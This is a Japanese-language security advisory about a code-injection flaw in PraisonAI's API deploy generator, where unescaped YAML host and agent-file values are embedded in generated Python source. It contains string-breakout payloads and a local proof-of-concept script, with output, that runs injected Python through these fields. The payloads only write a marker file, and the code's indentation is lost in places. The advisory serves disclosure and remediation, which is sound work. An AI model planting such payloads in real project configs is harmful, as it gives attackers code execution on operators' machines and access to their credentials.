PraisonAI: APIデプロイコードジェネレーターが、エスケープされていないYAMLフィールドをPythonソースコードに埋め込む
# APIデプロイコードジェネレーターが、エスケープされていないYAMLフィールドをPythonソースコードに埋め込む
## 概要
PraisonAIのAPIデプロイジェネレーターは、`agents.yaml`から`deploy.api.host`を直接コピーし、安全なリテラルエンコーディングなしで生成されたPythonソースコードに埋め込みます。悪意のあるPraisonAIプロジェクトは、このホスト値をPythonの式として設定できます。オペレーターがAPIデプロイフローを実行すると、生成されたサーバーソースコードがコンパイルされ、注入された式が起動時に実行されます。同じジェネレーターは、`agents_file`も生成されたルートハンドラー式に直接埋め込み、エージェントファイルパスが攻撃者によって制御されている場合、ルート実行時にソースコードの注入が行われる可能性があります。
## 技術的な詳細
脆弱な箇所は、デプロイメント設定の解析から始まります。`Deploy.from_yaml()`は、オペレーターが提供する`agents.yaml`を読み込み、`validate_agents_yaml()`は`deploy.api.host`を文字列として受け入れます。APIデプロイメントでは、`start_api_server(self.agents_file, self.config.api)`が呼び出されます。`start_api_server()`は`generate_api_server_code()`を呼び出し、生成されたPythonファイルを`python`コマンドで実行します。
`src/praisonai/praisonai/deploy/api.py`にある現在のジェネレーターは、デプロイメントデータをPythonの構文として扱っています。
```python
def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str:
...
code = f'''"""
...
praisonai = PraisonAI(agent_file="{agents_file}")
...
"agent_file": "{agents_file}"
...
app.run(
host='{config.host}',
port={config.port},
debug={config.reload}
)
'''
```
問題点は、デプロイメント設定の値は文字列として保持されるべきであるという原則が守られていないことです。代わりに、`config.host`が生成されたPythonソースコード内のシングルクォートで囲まれた文字列として挿入されます。例えば、次のような値は、生成された文字列リテラルから抜け出し、Pythonの式を評価します。
```text
' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '
```
生成された起動コードは、以下のコードと同等になります。
```python
app.run(
host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '',
port=8005,
debug=False,
)
```
この式は、Flaskがリクエストを処理する前に実行されます。これは、シェル解析の問題ではなく、また、単純に危険なPython APIを直接使用しているわけでもありません。これは、デプロイメントジェネレータにおけるデータからコードへの変換です。
`agents_file`は、生成された2つのルートハンドラ式で、同様の危険なソースの補間を行っています。`" + (<副作用> and "") + "`という形式の値は、`PraisonAI(agent_file=...)`と、`/agents`のJSONレスポンス式の両方で有効であり、生成されたハンドラがその値を評価する際に実行されます。
## PoV (概念実証)
以下のローカル環境でのみ有効なPoV(概念実証)は、FlaskとPraisonAIを模倣しており、リスナーの起動、モデルプロバイダの呼び出し、または外部サービスとの接続は行いません。これにより、悪意のあるホストの値がYAMLスキーマの解析を生き残り、生成されたサーバーモジュールが`__main__`として評価される際に実行されることを証明します。また、安全なホストのコントロールと、`agents_file`のルート実行時の補間チェックも含まれています。
```python
from pathlib import Path
import json
import sys
import tempfile
import types
import yaml
def install_stubs():
class FakeApp:
def __init__(self, name):
self.name = name
def route(self, *args, **kwargs):
def deco(func):
return func
return deco
def run(self, *args, **kwargs):
return None
flask = types.ModuleType("flask")
flask.Flask = FakeApp
flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"})
flask.jsonify = lambda obj: obj
sys.modules["flask"] = flask
flask_cors = types.ModuleType("flask_cors")
flask_cors.CORS = lambda app: app
sys.modules["flask_cors"] = flask_cors
praisonai_mod = types.ModuleType("praisonai")
```
class FakePraisonAI:
def __init__(self, agent_file):
self.agent_file = agent_file
def run(self):
return "ok"
praisonai_mod.PraisonAI = FakePraisonAI
sys.modules["praisonai"] = praisonai_mod
def main(repo):
sys.path.insert(0, str(Path(repo) / "src" / "praisonai"))
from praisonai.deploy.api import generate_api_server_code
from praisonai.deploy.models import APIConfig
from praisonai.deploy.schema import validate_agents_yaml
install_stubs()
with tempfile.TemporaryDirectory() as tmp:
tmp_path = Path(tmp)
host_marker = tmp_path / "host-marker.txt"
file_marker = tmp_path / "agent-file-marker.txt"
host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '"
agents_yaml = tmp_path / "agents.yaml"
agents_yaml.write_text(yaml.safe_dump({
"deploy": {
"type": "api",
"api": {"host": host_payload, "port": 8005, "auth_enabled": False},
},
"agents": [{"name": "demo", "role": "demo", "goal": "demo"}],
}))
parsed_config = validate_agents_yaml(str(agents_yaml))
```
results = []
for label, config in [
("safe_host", APIConfig(host="127.0.0.1", auth_enabled=False)),
("malicious_host_from_yaml", parsed_config.api),
]:
host_marker.unlink(missing_ok=True)
code = generate_api_server_code("agents.yaml", config)
compile(code, f"<generated-{label}>", "exec")
exec(code, {"__name__": "__main__"})
results.append({
"case": label,
"compiled": True,
"host_preserved_by_yaml_parser": config.host == host_payload if label.startswith("malicious") else None,
"marker_exists_after_startup": host_marker.exists(),
"marker_contents": host_marker.read_text() if host_marker.exists() else None,
"generated_contains_raw_host": config.host in code,
})
file_payload = "\" + (__import__(\"pathlib\").Path(" + repr(str(file_marker)) + ").write_text(\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\") and \"\") + \""
file_marker.unlink(missing_ok=True)
code = generate_api_server_code(file_payload, APIConfig(host="127.0.0.1", auth_enabled=False))
compile(code, "<generated-agent-file>", "exec")
namespace = {"__name__": "generated_agent_file"}
exec(code, namespace)
namespace["list_agents"]()
results.append({
"case": "malicious_agent_file_route_value",
"compiled": True,
"marker_exists_after_list_agents": file_marker.exists(),
"marker_contents": file_marker.read_text() if file_marker.exists() else None,
"generated_contains_raw_agent_file": file_payload in code,
})
print(json.dumps(results, indent=2))
return 0 if results[1]["marker_exists_after_startup"] and results[2]["marker_exists_after_list_agents"] else 1
if __name__ == "__main__":
raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else "."))
```
使用されたコマンド:
```sh
uv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI
```
重要な出力:
```json
[
{
"case": "safe_host",
"compiled": true,
"host_preserved_by_yaml_parser": null,
"marker_exists_after_startup": false,
"marker_contents": null,
"generated_contains_raw_host": true
},
{
"case": "malicious_host_from_yaml",
"compiled": true,
"host_preserved_by_yaml_parser": true,
"marker_exists_after_startup": true,
"marker_contents": "DEPLOY_API_HOST_CODE_EXECUTED",
"generated_contains_raw_host": true
},
{
"case": "malicious_agent_file_route_value",
"compiled": true,
"marker_exists_after_list_agents": true,
"marker_contents": "DEPLOY_API_AGENT_FILE_CODE_EXECUTED",
"generated_contains_raw_agent_file": true
}
]
```
`safe_host`のテストケースでは、マーカーによる副作用なしに、生成されたモジュールがコンパイルされ、評価されます。`malicious_host_from_yaml`のテストケースは、YAMLパーサーが不正なホストを構成文字列として保持し、生成されたサーバーが起動時にそれを実行することを証明しています。`malicious_agent_file_route_value`のテストケースは、生成された`/agents`ハンドラーが生成されたレスポンスを評価する際に、セカンダリのファイルパス補間が実行されることを証明しています。
## 影響
もし、攻撃者が不正なPraisonAIプロジェクトの設定をデプロイした場合、生成されたAPIサーバーの起動時に、任意のPythonコードがデプロイプロセスで実行される可能性があります。そのプロセスは、オペレーターの環境、ソースツリー、ローカルファイル、モデル/APIの認証情報、およびデプロイメントの認証情報にアクセスできる可能性があります。これは、認証されていないリモートエンドポイントの問題ではなく、プロジェクト構成のサプライチェーンの問題です。セキュリティ境界は、デプロイメント構成の値はデータとして保持され、実行可能なPythonソースに変換されるべきではないということです。
## 提案される修正
生成されたPythonソースコードに、直接設定値を埋め込まないでください。生成されたPythonの文字列リテラルには、`repr()`または`json.dumps()`を使用するか、設定値をソースコードに埋め込む代わりに、JSONファイル、環境変数、またはコマンドライン引数から読み込んでください。現在のジェネレーターでは、`host='{config.host}'`を、安全にエンコードされたリテラルである`host={config.host!r}`に置き換えてください。また、生成されるサイトの両方で、`agents_file`にも同様の安全なエンコードを適用してください。ホスト名やエージェントファイルの値に、引用符、改行、または式を埋め込んだ値を含む回帰テストを追加してください。生成されたソースコードはコンパイルされ、それらの値は文字列として扱われる必要があります。
## 影響を受けるパッケージ/バージョン
パッケージ: `praisonai`
確認された最新バージョン: `1620b49f36945d8cc8ee5635b906c960df5097a0`
静的解析結果:
| 対象 | 結果 |
| --- | --- |
| `v4.5.128` | 影響あり; `agents_file`と`config.host`への直接的な埋め込みが検出されました |
| `v4.6.58` | 影響あり; `agents_file`と`config.host`への直接的な埋め込みが検出されました |
| `v4.6.59` | 影響あり; `agents_file`と`config.host`への直接的な埋め込みが検出されました |
| `v4.6.60` | 影響あり; `agents_file`と`config.host`への直接的な埋め込みが検出されました |
| `v4.6.62` | 影響あり; `agents_file`と`config.host`への直接的な埋め込みが検出されました |
| `v4.6.63` | 影響あり; `agents_file`と`config.host`への直接的な埋め込みが検出されました |
| 最新バージョン `1620b49f` | 影響あり; `agents_file`と`config.host`への直接的な埋め込みが検出されました |
推奨される深刻度: 高
推奨されるCVSS v3.1:
```text
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
```
推奨されるCWE:
- CWE-94: コード生成の不適切な制御
- CWE-95: 動的に評価されるコードにおける指示の不適切な無効化
- CWE-116: 出力における不適切なエンコードまたはエスケープ
## 告知履歴
最も近い類似の脆弱性としては、`GHSA-8444-4fhq-fxpq` が挙げられます。これは、「`praisonai deploy --type api` コマンドを実行すると、デフォルトで認証が無効な Flask サーバーが生成される」というものです。この脆弱性は、生成された Flask API サーバーのセキュリティに関するもので、デフォルトで認証が無効になっている点が問題です。しかし、今回の報告とは異なります。なぜなら、認証は有効または無効にできるにもかかわらず、問題は依然として存在し、`generate_api_server_code()` 関数がデプロイメント文字列を Python の構文で出力するためです。攻撃手法は、`deploy.api.host` や `agents_file` からの生成コードへの注入であり、生成された API への認証なしのリクエストアクセスではありません。
また、これは `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338` とも異なります。これは、過去の生成された API サーバーの認証に関する問題を扱っています。どちらの脆弱性報告も、生成された API サーバーのデプロイメントに関連するものであり、参考になる情報ですが、いずれも `generate_api_server_code()` 関数における危険なリテラルエンコーディングや Python 式の注入については言及していません。
AgentOS、AgentTeam、A2U、MCP、および recipe-server の認証回避に関する報告は、それぞれ別のサーバーに関する問題です。これらの問題の根本原因は、リクエスト認証の欠如やポリシーの強制違反ですが、今回の報告の根本原因は、サーバーがトラフィックを処理する前に、安全でないコードが生成されることです。
## 参照
- `src/praisonai/praisonai/deploy/api.py`: `generate_api_server_code()` および `start_api_server()`
- `src/praisonai/praisonai/deploy/main.py`: `Deploy.from_yaml()` および API/Docker のデプロイメントパス
- `src/praisonai/praisonai/cli/features/deploy.py`: CLI デプロイメントハンドラ
- `GHSA-8444-4fhq-fxpq`: 以前の `praisonai deploy --type api` で生成された API サーバーの認証に関するデフォルトの問題
- `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`: 以前の生成された API サーバーの認証に関する問題
- CWE-94: https://cwe.mitre.org/data/definitions/94.html
- CWE-95: https://cwe.mitre.org/data/definitions/95.html
- CWE-116: https://cwe.mitre.org/data/definitions/116.html
影響を受けるパッケージ:
- pip (Python) praisonai: 影響を受けるバージョンは 4.6.77 以下、4.6.78 で修正済み。